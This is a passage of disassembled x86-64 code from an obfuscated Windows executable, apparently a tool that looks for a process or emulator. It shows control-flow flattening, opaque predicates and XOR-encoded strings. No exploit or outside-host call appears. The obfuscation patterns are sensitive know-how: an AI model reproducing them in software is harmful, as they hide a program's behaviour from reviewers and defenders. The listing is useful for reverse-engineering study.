cmp r10d, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0x155c28c4
cmovne r14d, r11d
test edx, esi
mov edx, r14d
cmove edx, r11d
cmp r10d, 0xa
cmovge edx, r14d
cmp eax, 0x155c28c3
jg 0x140043ed2
cmp eax, 0xbdd48bda
je 0x140043e4b
cmp eax, 0x155c28c4
je 0x140043f13
mov rax, qword [rbp + 0x138]
mov eax, 0xad47fae5
mov rsp, qword [rbp + 0xd0]
jmp 0x14003cca5
mov rax, qword [rbp + 0x138]
mov rsp, qword [rbp + 0xd0]
mov eax, dword [0x1402b5e80]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xe948ff13
mov r8d, 0xc1774002
cmove eax, r8d
cmp dword [0x1402b5e84], 0xa
mov edx, 0xe948ff13
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, r8d
jmp 0x14003cca5
mov eax, dword [0x1402b5e80]
mov ecx, dword [0x1402b5e84]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0xe948ff13
mov r9d, 0xad47fae5
cmovne r8d, r9d
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, r9d
cmp ecx, 0xa
cmovge eax, r8d
jmp 0x14003cca5
lea rax, str._____Open_Emulator_:
mov qword [rbp + 0x188], rax
mov eax, 0xc3a59f38
jmp 0x14003cca5
mov rsp, qword [rbp + 0xe8]
sub rsp, 0x20
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rbp + 0xf8]
call fcn.1400b40a0
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.1400b4330
add rsp, 0x20
mov rcx, rax
mov eax, dword [0x1402b5e08]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp dword [0x1402b5e0c], 0xa
setl dl
test dl, al
jne 0x140045d82
xor dl, al
jne 0x140045d82
nop word cs:[rax + rax]
jmp 0x1400456d0
mov qword [rbp + 0xf8], rax
mov edi, 0x1efa0d4a
mov r8d, 0xfe977b13
mov r9d, 0xc9009c0f
mov r10d, 0x3b352d6
mov r11d, 0xce45816a
mov ebx, 0xe1eaf736
mov r15d, 0xc7b16dbd
mov r12d, 0x8eb5c43d
mov rdx, qword [rbp + 0xe8]
jmp 0x140045757
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rbp + 0x190]
mov eax, dword [0x1402b5e88]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete al
mov edi, 0xa64dfa7d
cmove edi, r11d
cmp dword [0x1402b5e8c], 0xa
mov ecx, 0xa64dfa7d
cmovge edi, ecx
setl sil
xor sil, al
cmovne edi, r11d
cmp edi, 0xc7c609bc
jle 0x140045786
cmp edi, 0xe1eaf735
jg 0x140045854
cmp edi, 0xc7c609bd
je 0x140045ac4
cmp edi, 0xce45816a
jne 0x140045757
mov edi, 0xc7c609bd
jmp 0x140045757
cmp edi, 0xc114ee86
jg 0x1400458b3
cmp edi, 0x8eb5c43d
je 0x1400458c9
cmp edi, 0xa64dfa7d
jne 0x140045757
mov eax, dword [0x1402b5e90]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
setne al
cmp dword [0x1402b5e94], 0xa
setge sil
mov edi, esi
xor dil, al
or sil, al
xor sil, 1
or sil, dil
mov esi, 0x8c40da08
mov eax, 0x37376ba3
cmovne esi, eax
mov edi, 0x8c40da08
mov eax, 0x5b451b53
cmovne edi, eax
mov r13d, 0xc6ef484d
nop word cs:[rax + rax]
cmp r13d, 0xd29b69d6
jle 0x14004582d
cmp r13d, 0xd29b69d7
je 0x140045b47
cmp r13d, 0x37376ba3
je 0x140045844
cmp r13d, 0x5b451b53
jne 0x140045800
mov r13d, esi
jmp 0x140045800
cmp r13d, 0x8c40da08
je 0x14004584c
cmp r13d, 0xc6ef484d
jne 0x140045800
mov r13d, edi
jmp 0x140045800
mov r13d, 0xd29b69d7
jmp 0x140045800
mov r13d, 0x5b451b53
jmp 0x140045800
cmp edi, 0xe1eaf736
je 0x140045b01
cmp edi, 0x1efa0d4a
jne 0x140045757
mov esi, dword [0x1402b5e88]
mov r13d, dword [0x1402b5e8c]
lea edi, [rsi + 1]
imul edi, esi
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete sil
cmp r13d, 0xa
setl al
xor al, sil
mov eax, 0xa64dfa7d
cmovne eax, r12d
cmp edi, 0xffffffff
mov edi, eax
cmove edi, r12d
cmp r13d, 0xa
cmovge edi, eax
jmp 0x140045757
cmp edi, 0xc114ee87
jne 0x140045ccc
mov edi, 0xe1eaf736
jmp 0x140045757
mov eax, dword [0x1402b5e90]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete al
cmp dword [0x1402b5e94], 0xa
setl sil
or sil, al
mov esi, 0x8c40da08
mov eax, 0x37376ba3
cmovne esi, eax
mov edi, 0x8c40da08
mov eax, 0x5b451b53
cmovne edi, eax
mov r13d, 0xc6ef484d
nop dword [rax]
cmp r13d, 0xd29b69d6
jle 0x140045939
cmp r13d, 0xd29b69d7
je 0x140045960
cmp r13d, 0x37376ba3
je 0x140045950
cmp r13d, 0x5b451b53
jne 0x140045910
mov r13d, esi
jmp 0x140045910
cmp r13d, 0x8c40da08
je 0x140045958
cmp r13d, 0xc6ef484d
jne 0x140045910
mov r13d, edi
jmp 0x140045910
mov r13d, 0xd29b69d7
jmp 0x140045910
mov r13d, 0x5b451b53
jmp 0x140045910
mov qword [rbp + 0x190], rdx
lea rax, [0x14029b677]
mov qword [rbp + 0x1c0], rax
mov r13, qword [rbp + 0x190]
mov rdi, qword [rbp + 0x1c0]
mov esi, 0x19100051
jmp 0x1400459f0
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax + 1]
xor al, 0xc
mov rsi, qword [rbp + 0x1d0]
mov byte [rsi], al
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 3], 1
mov eax, dword [0x1402b5e98]
lea esi, [rax + 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete al
mov esi, 0xc9009c0f
cmove esi, r10d
cmp dword [0x1402b5e9c], 0xa
cmovge esi, r9d
setl r14b
xor r14b, al
cmovne esi, r10d
nop dword [rax]
cmp esi, 0xfe977b12
jle 0x140045a44
cmp esi, 0xfe977b13
je 0x14004598a
cmp esi, 0x3b352d6
je 0x140045710
cmp esi, 0x19100051
jne 0x1400459f0
mov qword [rbp + 0x1a0], r13
mov rax, qword [rbp + 0x1a0]
movzx esi, byte [rdi]
xor sil, 0xb
mov byte [rax], sil
inc rax
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x148], rdi
mov esi, 0xb6627186
jmp 0x1400459f0
cmp esi, 0xb6627186
je 0x140045a8a
cmp esi, 0xc9009c0f
jne 0x1400459f0
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax + 1]
xor al, 0xc
mov rsi, qword [rbp + 0x1d0]
mov byte [rsi], al
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 3], 1
mov esi, 0xfe977b13
jmp 0x1400459f0
mov eax, dword [0x1402b5e98]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete al
mov esi, 0xc9009c0f
cmove esi, r8d
cmp dword [0x1402b5e9c], 0xa
cmovge esi, r9d
setl r14b
xor r14b, al
cmovne esi, r8d
jmp 0x1400459f0
mov eax, dword [0x1402b5e88]
lea esi, [rax + 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete al
mov edi, 0xc114ee87
cmove edi, ebx
cmp dword [0x1402b5e8c], 0xa
mov ecx, 0xc114ee87
cmovge edi, ecx
setl sil
xor sil, al
cmovne edi, ebx
jmp 0x140045757
mov eax, dword [0x1402b5e88]
mov esi, dword [0x1402b5e8c]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp esi, 0xa
setl r13b
xor r13b, r14b
mov r14d, 0xc114ee87
cmovne r14d, r15d
test eax, edi
mov edi, r14d
cmove edi, r15d
cmp esi, 0xa
cmovge edi, r14d
jmp 0x140045757
mov qword [rbp + 0x190], rdx
lea rax, [0x14029b677]
mov qword [rbp + 0x1c0], rax
mov r13, qword [rbp + 0x190]
mov rdi, qword [rbp + 0x1c0]
mov esi, 0x19100051
jmp 0x140045bd0
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax + 1]
xor al, 0xc
mov rcx, qword [rbp + 0x1d0]
mov byte [rcx], al
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 3], 1
mov eax, dword [0x1402b5e98]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
mov esi, 0xc9009c0f
cmove esi, r10d
cmp dword [0x1402b5e9c], 0xa
cmovge esi, r9d
setl cl
xor cl, al
cmovne esi, r10d
cmp esi, 0xfe977b12
jle 0x140045c24
cmp esi, 0xfe977b13
je 0x140045b71
cmp esi, 0x3b352d6
je 0x140045cb4
cmp esi, 0x19100051
jne 0x140045bd0
mov qword [rbp + 0x1a0], r13
mov rax, qword [rbp + 0x1a0]
movzx esi, byte [rdi]
xor sil, 0xb
mov byte [rax], sil
inc rax
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x148], rdi
mov esi, 0xb6627186
jmp 0x140045bd0
cmp esi, 0xb6627186
je 0x140045c6a
cmp esi, 0xc9009c0f
jne 0x140045bd0
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax + 1]
xor al, 0xc
mov rcx, qword [rbp + 0x1d0]
mov byte [rcx], al
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 3], 1
mov esi, 0xfe977b13
jmp 0x140045bd0
mov eax, dword [0x1402b5e98]
mov r14d, dword [0x1402b5e9c]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete cl
cmp r14d, 0xa
setl dl
xor dl, cl
mov rdx, qword [rbp + 0xe8]
mov ecx, 0xc9009c0f
cmovne ecx, r8d
test eax, esi
mov esi, ecx
cmove esi, r8d
cmp r14d, 0xa
cmovge esi, ecx
jmp 0x140045bd0
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rbp + 0x190]
mov edi, 0x8eb5c43d
jmp 0x140045757
cmp edi, 0xc7b16dbd
jne 0x140045757
sub rsp, 0x20
mov rcx, qword [rbp + 0xf8]
call fcn.1400b4500
add rsp, 0x20
mov edx, dword [0x1402b6a58]
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.140003ad0
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0xc8]
call fcn.1400036d0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002b10
add rsp, 0x20
mov rdi, qword [rbp + 0xd8]
mov rsi, rax
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, al
jne 0x1400462d2
xor cl, al
jne 0x1400462d2
jmp 0x140045d80
mov eax, dword [0x1402b5ea0]
mov edx, dword [0x1402b5ea4]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete byte [rbp + 0x127]
cmp edx, 0xa
setl byte [rbp + 0xf0]
mov rdx, rsp
mov eax, 0xdf1ab953
mov r9d, 0x155cc905
mov r10d, 0xfb73af8f
mov r11d, 0xde306061
lea r8, [rbp + 0x140]
lea rsi, str._OFF
cmp eax, 0xfb73af8e
jg 0x140045e25
cmp eax, 0xcd667dc8
je 0x140045ee4
cmp eax, 0xde306061
je 0x140045e5f
cmp eax, 0xdf1ab953
jne 0x140045dd8
movzx ebx, byte [rbp + 0x127]
movzx eax, byte [rbp + 0xf0]
mov edi, eax
xor dil, bl
test al, al
mov eax, 0xfb73af8f
cmovne eax, r9d
test bl, bl
cmove eax, r10d
test dil, dil
cmovne eax, r9d
jmp 0x140045dd8
cmp eax, 0xfb73af8f
je 0x140045e55
cmp eax, 0x155cc905
je 0x140045e69
cmp eax, 0x7d3408d4
jne 0x140045dd8
mov rax, qword [rbp + 0x130]
mov qword [rax], r8
mov rax, qword [rbp + 0x188]
mov qword [rax], rsi
mov eax, 0xcd667dc8
jmp 0x140045dd8
mov eax, 0x155cc905
jmp 0x140045dd8
mov eax, 0x7d3408d4
jmp 0x140045dd8
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x130], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rdi, rsp
mov eax, dword [0x1402b5ea0]
mov ebx, dword [0x1402b5ea4]
lea r14d, [rax + 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp ebx, 0xa
setl r15b
xor r15b, al
mov r15d, 0xfb73af8f
cmovne r15d, r11d
cmp r14d, 0xffffffff
mov eax, r15d
cmove eax, r11d
cmp ebx, 0xa
mov qword [rbp + 0x188], rdi
cmovge eax, r15d
jmp 0x140045dd8
mov rax, qword [rbp + 0x188]
mov r9, qword [rax]
mov eax, 0x4aec470f
cmp eax, 0x8a955d37
je 0x140045f2d
cmp eax, 0x4aec470f
jne 0x140045ef3
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x198], r8
mov qword [rbp + 0x128], r9
mov eax, 0x8a955d37
jmp 0x140045ef3
mov rax, qword [rbp + 0x138]
mov r8, qword [rbp + 0x198]
mov rax, qword [rbp + 0x128]
mov r9d, 0xfbaeee2f
cmp r9d, 0x33ed9e26
je 0x140045f70
cmp r9d, 0xfbaeee2f
jne 0x140045f48
mov qword [rbp + 0x190], r8
mov r9d, 0x33ed9e26
mov r10, qword [rbp + 0x190]
jmp 0x140045f48
mov qword [rbp + 0x1c0], r10
mov qword [rbp + 0x1a0], rax
mov r8, qword [rbp + 0x1a0]
mov r9d, dword [0x1402b5ea8]
lea r10d, [r9 - 1]
imul r10d, r9d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r9b
cmp dword [0x1402b5eac], 0xa
movzx r8d, byte [r8]
setl r10b
or r10b, r9b
mov r9d, 0x915511ca
mov r11d, 0xcd11fcc6
cmove r9d, r11d
mov r10d, 0x940cf0d3
cmove r10d, r11d
xor r8b, 0xb
mov r11d, 0x88b523ae
cmp r11d, 0x915511c9
jle 0x140046005
cmp r11d, 0x915511ca
je 0x140046029
cmp r11d, 0x940cf0d3
je 0x14004601f
cmp r11d, 0xcd11fcc6
jne 0x140045fd9
mov r11d, 0x940cf0d3
jmp 0x140045fd9
cmp r11d, 0x861aefa4
je 0x140046024
cmp r11d, 0x88b523ae
jne 0x140045fd9
mov r11d, 0x861aefa4
jmp 0x140045fd9
mov r11d, r9d
jmp 0x140045fd9
mov r11d, r10d
jmp 0x140045fd9
mov byte [rbp + 0x1cc], r8b
movzx r8d, byte [rbp + 0x1cc]
mov r9, qword [rbp + 0x1c0]
mov byte [r9], r8b
mov r8, qword [rbp + 0x1c0]
mov r9d, dword [0x1402b5ea8]
lea r10d, [r9 + 1]
imul r10d, r9d
mov r9d, r10d
xor r9d, 0xfffffffe
test r9d, r10d
setne r10b
cmp dword [0x1402b5eac], 0xa
movzx r9d, byte [rax + 1]
setge r11b
mov ebx, r11d
xor bl, r10b
or r11b, r10b
xor r11b, 1
or r11b, bl
mov r10d, 0x915511ca
mov esi, 0xcd11fcc6
cmove r10d, esi
mov r11d, 0x940cf0d3
cmove r11d, esi
xor r9b, 0xc
mov esi, 0x88b523ae
cmp esi, 0x915511c9
jle 0x1400460cf
cmp esi, 0x915511ca
je 0x1400460f0
cmp esi, 0x940cf0d3
je 0x1400460e6
cmp esi, 0xcd11fcc6
jne 0x1400460a8
mov esi, 0x940cf0d3
jmp 0x1400460a8
cmp esi, 0x861aefa4
je 0x1400460eb
cmp esi, 0x88b523ae
jne 0x1400460a8
mov esi, 0x861aefa4
jmp 0x1400460a8
mov esi, r10d
jmp 0x1400460a8
mov esi, r11d
jmp 0x1400460a8
mov byte [rbp + 0x1cc], r9b
movzx r9d, byte [rbp + 0x1cc]
mov byte [r8 + 1], r9b
mov r9d, dword [0x1402b5ea8]
lea r10d, [r9 + 1]
imul r10d, r9d
mov r9d, r10d
xor r9d, 0xfffffffe
test r9d, r10d
sete r10b
cmp dword [0x1402b5eac], 0xa
movzx r9d, byte [rax + 2]
setl r11b
or r11b, r10b
mov r10d, 0x915511ca
mov esi, 0xcd11fcc6
cmove r10d, esi
mov r11d, 0x940cf0d3
cmove r11d, esi
xor r9b, 0xd
mov esi, 0x88b523ae
cmp esi, 0x915511c9
jle 0x14004617c
cmp esi, 0x915511ca
je 0x14004619d
cmp esi, 0x940cf0d3
je 0x140046193
cmp esi, 0xcd11fcc6
jne 0x140046155
mov esi, 0x940cf0d3
jmp 0x140046155
cmp esi, 0x861aefa4
je 0x140046198
cmp esi, 0x88b523ae
jne 0x140046155
mov esi, 0x861aefa4
jmp 0x140046155
mov esi, r10d
jmp 0x140046155
mov esi, r11d
jmp 0x140046155
mov byte [rbp + 0x1cc], r9b
movzx r9d, byte [rbp + 0x1cc]
mov byte [r8 + 2], r9b
mov r9d, dword [0x1402b5ea8]
lea r10d, [r9 + 1]
imul r10d, r9d
mov r9d, r10d
xor r9d, 0xfffffffe
test r9d, r10d
sete r9b
cmp dword [0x1402b5eac], 0xa
movzx eax, byte [rax + 3]
setl r10b
or r10b, r9b
mov r9d, 0x915511ca
mov r11d, 0xcd11fcc6
cmove r9d, r11d
mov r10d, 0x940cf0d3
cmove r10d, r11d
xor al, 0xe
mov r11d, 0x88b523ae
cmp r11d, 0x915511c9
jle 0x14004622d
cmp r11d, 0x915511ca
je 0x140046251
cmp r11d, 0x940cf0d3
je 0x140046247
cmp r11d, 0xcd11fcc6
jne 0x140046201
mov r11d, 0x940cf0d3
jmp 0x140046201
cmp r11d, 0x861aefa4
je 0x14004624c
cmp r11d, 0x88b523ae
jne 0x140046201
mov r11d, 0x861aefa4
jmp 0x140046201
mov r11d, r9d
jmp 0x140046201
mov r11d, r10d
jmp 0x140046201
mov byte [rbp + 0x1cc], al
movzx eax, byte [rbp + 0x1cc]
mov byte [r8 + 3], al
mov byte [r8 + 4], 0
mov rax, qword [rbp + 0x190]
mov byte [rax + 5], 1
mov rax, qword [rbp + 0x190]
mov rax, qword [rbp + 0x198]
mov rsp, rdx
sub rsp, 0x20
lea rdx, [rbp + 0x140]
call fcn.1400b3eb0
add rsp, 0x20
mov ecx, dword [0x1402b5e08]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
cmp dword [0x1402b5e0c], 0xa
setl dl
test dl, cl
jne 0x14006101d
xor dl, cl
jne 0x14006101d
nop word [rax + rax]
jmp 0x1400462d0
sub rsp, 0x20
mov rcx, rdi
call section..text
add rsp, 0x20
sub rsp, 0x20
mov rcx, rsi
mov rdx, rdi
call fcn.140002980
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.140002e40
add rsp, 0x20
mov edx, dword [0x1402b5e08]
lea ecx, [rdx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete dl
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, dl
jne 0x140046332
xor cl, dl
jne 0x140046332
nop dword [rax]
jmp 0x140046330
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xc0], rsp
mov eax, 0xa6f014c5
lea r10, str._____Found_Process_:
mov r11d, 0x219b4ad5
mov esi, 0x6876bd18
mov ebx, 0xd1f114c6
mov r14d, 0x5855f75d
mov r9d, 0xfd9dbabb
cmp eax, 0xfad20ee3
jle 0x14004662e
cmp eax, 0xfad20ee4
je 0x1400489aa
cmp eax, 0x2080446e
je 0x14004771e
cmp eax, 0x755f475d
jne 0x140046368
mov qword [rbp + 0xc8], rsp
mov eax, dword [0x1402b5eb0]
mov ecx, dword [0x1402b5eb4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x1cc]
cmp ecx, 0xa
setl byte [rbp + 0x140]
mov eax, 0xd38369aa
mov r12d, 0x877f9528
jmp 0x14004640b
mov rax, qword [rbp + 0x188]
mov qword [rax], r10
mov eax, dword [0x1402b5eb0]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x877f9528
cmove eax, r9d
cmp dword [0x1402b5eb4], 0xa
cmovge eax, r12d
setl dl
xor dl, cl
cmovne eax, r9d
cmp eax, 0x219b4ad4
jle 0x140046472
cmp eax, 0x5855f75c
jg 0x140046491
cmp eax, 0x219b4ad5
je 0x14004650e
cmp eax, 0x450b8fcb
jne 0x140046599
mov eax, dword [0x1402b5eb0]
mov ecx, dword [0x1402b5eb4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl dil
xor dil, r8b
mov r8d, 0x877f9528
cmovne r8d, r14d
test eax, edx
mov eax, r8d
cmove eax, r14d
cmp ecx, 0xa
cmovge eax, r8d
jmp 0x14004640b
cmp eax, 0xd38369a9
jg 0x1400464b1
cmp eax, 0x877f9528
je 0x1400464cd
cmp eax, 0xd1f114c6
jne 0x14004640b
mov eax, 0x450b8fcb
jmp 0x14004640b
cmp eax, 0x5855f75d
je 0x1400463ce
cmp eax, 0x6876bd18
jne 0x14004640b
mov eax, 0x219b4ad5
jmp 0x14004640b
cmp eax, 0xd38369aa
je 0x1400464e1
cmp eax, 0xfd9dbabb
jne 0x14004640b
mov eax, 0x43f3ed5d
jmp 0x14004640b
mov rax, qword [rbp + 0x188]
mov qword [rax], r10
mov eax, 0x5855f75d
jmp 0x14004640b
movzx ecx, byte [rbp + 0x1cc]
movzx eax, byte [rbp + 0x140]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x6876bd18
cmovne eax, r11d
test cl, cl
cmove eax, esi
test dl, dl
cmovne eax, r11d
jmp 0x14004640b
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x188], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x138], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rcx, rsp
mov eax, dword [0x1402b5eb0]
mov edx, dword [0x1402b5eb4]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete dil
cmp edx, 0xa
setl r15b
xor r15b, dil
mov edi, 0x6876bd18
cmovne edi, ebx
test eax, r8d
mov eax, edi
cmove eax, ebx
cmp edx, 0xa
mov qword [rbp + 0x198], rcx
cmovge eax, edi
jmp 0x14004640b
cmp eax, 0x43f3ed5d
jne 0x14004640b
mov rax, qword [rbp + 0x138]
mov rcx, qword [rbp + 0x40]
mov qword [rax], rcx
mov rax, qword [rbp + 0x138]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x188]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x198]
mov qword [rbp + 0x128], rcx
mov rdx, qword [rbp + 0x128]
movsx rcx, byte [rax]
mov r8d, dword [0x1402b5eb8]
lea edi, [r8 + 1]
imul edi, r8d
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete r8b
cmp dword [0x1402b5ebc], 0xa
setl dil
or dil, r8b
mov r8d, 0xe26373a3
mov edi, 0xa707348c
cmovne r8d, edi
mov edi, 0xe26373a3
mov r15d, 0x64873e59
cmovne edi, r15d
mov r12d, 0x5ad4125f
jmp 0x140046694
cmp eax, 0xa6f014c5
je 0x140047a0f
cmp eax, 0xabd12eb6
jne 0x140046368
mov eax, dword [0x1402b5ec0]
mov ecx, dword [0x1402b5ec4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl dil
xor dil, r8b
mov r8d, 0x2080446e
mov edi, 0x755f475d
cmovne r8d, edi
test eax, edx
mov eax, r8d
cmove eax, edi
cmp ecx, 0xa
cmovge eax, r8d
jmp 0x140046368
mov r12d, 0x64873e59
cmp r12d, 0xe26373a2
jle 0x1400466bd
cmp r12d, 0xe26373a3
je 0x14004668e
cmp r12d, 0x5ad4125f
je 0x1400466d1
cmp r12d, 0x64873e59
jne 0x140046694
mov r12d, r8d
jmp 0x140046694
cmp r12d, 0xa707348c
je 0x1400466d6
cmp r12d, 0xcf69caf1
jne 0x140046694
jmp 0x1400466de
mov r12d, edi
jmp 0x140046694
mov r12d, 0xcf69caf1
jmp 0x140046694
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x148], 0
mov rcx, qword [rbp + 0x148]
add ecx, 0xb
mov r8, qword [rbp + 0x1d0]
xor r8d, ecx
mov byte [rdx], r8b
movsx rcx, byte [rax + 1]
mov r8d, dword [0x1402b5eb8]
lea edi, [r8 + 1]
imul edi, r8d
mov r8d, edi
xor r8d, 0xfffffffe
test r8d, edi
setne r8b
cmp dword [0x1402b5ebc], 0xa
setge dil
mov r15d, edi
xor r15b, r8b
or dil, r8b
xor dil, 1
or dil, r15b
mov r8d, 0xe26373a3
mov edi, 0xa707348c
cmovne r8d, edi
mov edi, 0xe26373a3
mov r15d, 0x64873e59
cmovne edi, r15d
mov r12d, 0x5ad4125f
jmp 0x140046770
mov r12d, 0x64873e59
cmp r12d, 0xe26373a2
jle 0x140046799
cmp r12d, 0xe26373a3
je 0x14004676a
cmp r12d, 0x5ad4125f
je 0x1400467ad
cmp r12d, 0x64873e59
jne 0x140046770
mov r12d, r8d
jmp 0x140046770
cmp r12d, 0xa707348c
je 0x1400467b2
cmp r12d, 0xcf69caf1
jne 0x140046770
jmp 0x1400467ba
mov r12d, edi
jmp 0x140046770
mov r12d, 0xcf69caf1
jmp 0x140046770
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x148], 1
mov rcx, qword [rbp + 0x148]
add ecx, 0xb
mov r8, qword [rbp + 0x1d0]
mov edi, ecx
xor edi, ecx
not edi
and edi, r8d
xor edi, ecx
mov byte [rdx + 1], dil
movsx rcx, byte [rax + 2]
mov r8d, dword [0x1402b5eb8]
lea edi, [r8 + 1]
imul edi, r8d
mov r8d, edi
xor r8d, 0xfffffffe
test r8d, edi
sete r8b
cmp dword [0x1402b5ebc], 0xa
setl dil
or dil, r8b
mov r8d, 0xe26373a3
mov edi, 0xa707348c
cmovne r8d, edi
mov edi, 0xe26373a3
mov r15d, 0x64873e59
cmovne edi, r15d
mov r12d, 0x5ad4125f
jmp 0x140046848
mov r12d, 0x64873e59
cmp r12d, 0xe26373a2
jle 0x140046871
cmp r12d, 0xe26373a3
je 0x140046842
cmp r12d, 0x5ad4125f
je 0x140046885
cmp r12d, 0x64873e59
jne 0x140046848
mov r12d, r8d
jmp 0x140046848
cmp r12d, 0xa707348c
je 0x14004688a
cmp r12d, 0xcf69caf1
jne 0x140046848
jmp 0x140046892
mov r12d, edi
jmp 0x140046848
mov r12d, 0xcf69caf1
jmp 0x140046848
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x148], 2
mov rcx, qword [rbp + 0x148]
add ecx, 0xb
mov r8, qword [rbp + 0x1d0]
xor r8d, ecx
mov byte [rdx + 2], r8b
movsx rcx, byte [rax + 3]
mov r8d, dword [0x1402b5eb8]
lea edi, [r8 + 1]
imul edi, r8d
test dil, 1
sete r8b
cmp dword [0x1402b5ebc], 0xa
setge r15b
setl r12b
xor r12b, r8b
or r15b, dil
not r15b
or r15b, r12b
test r15b, 1
mov r8d, 0xe26373a3
mov edi, 0xa707348c
cmovne r8d, edi
mov edi, 0xe26373a3
mov r15d, 0x64873e59
cmovne edi, r15d
mov r12d, 0x5ad4125f
jmp 0x140046923
mov r12d, 0x64873e59
cmp r12d, 0xe26373a2
jle 0x14004694c
cmp r12d, 0xe26373a3
je 0x14004691d
cmp r12d, 0x5ad4125f
je 0x140046960
cmp r12d, 0x64873e59
jne 0x140046923
mov r12d, r8d
jmp 0x140046923
cmp r12d, 0xa707348c
je 0x140046965
cmp r12d, 0xcf69caf1
jne 0x140046923
jmp 0x14004696d
mov r12d, edi
jmp 0x140046923
mov r12d, 0xcf69caf1
jmp 0x140046923
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x148], 3
mov rcx, qword [rbp + 0x148]
add ecx, 0xb
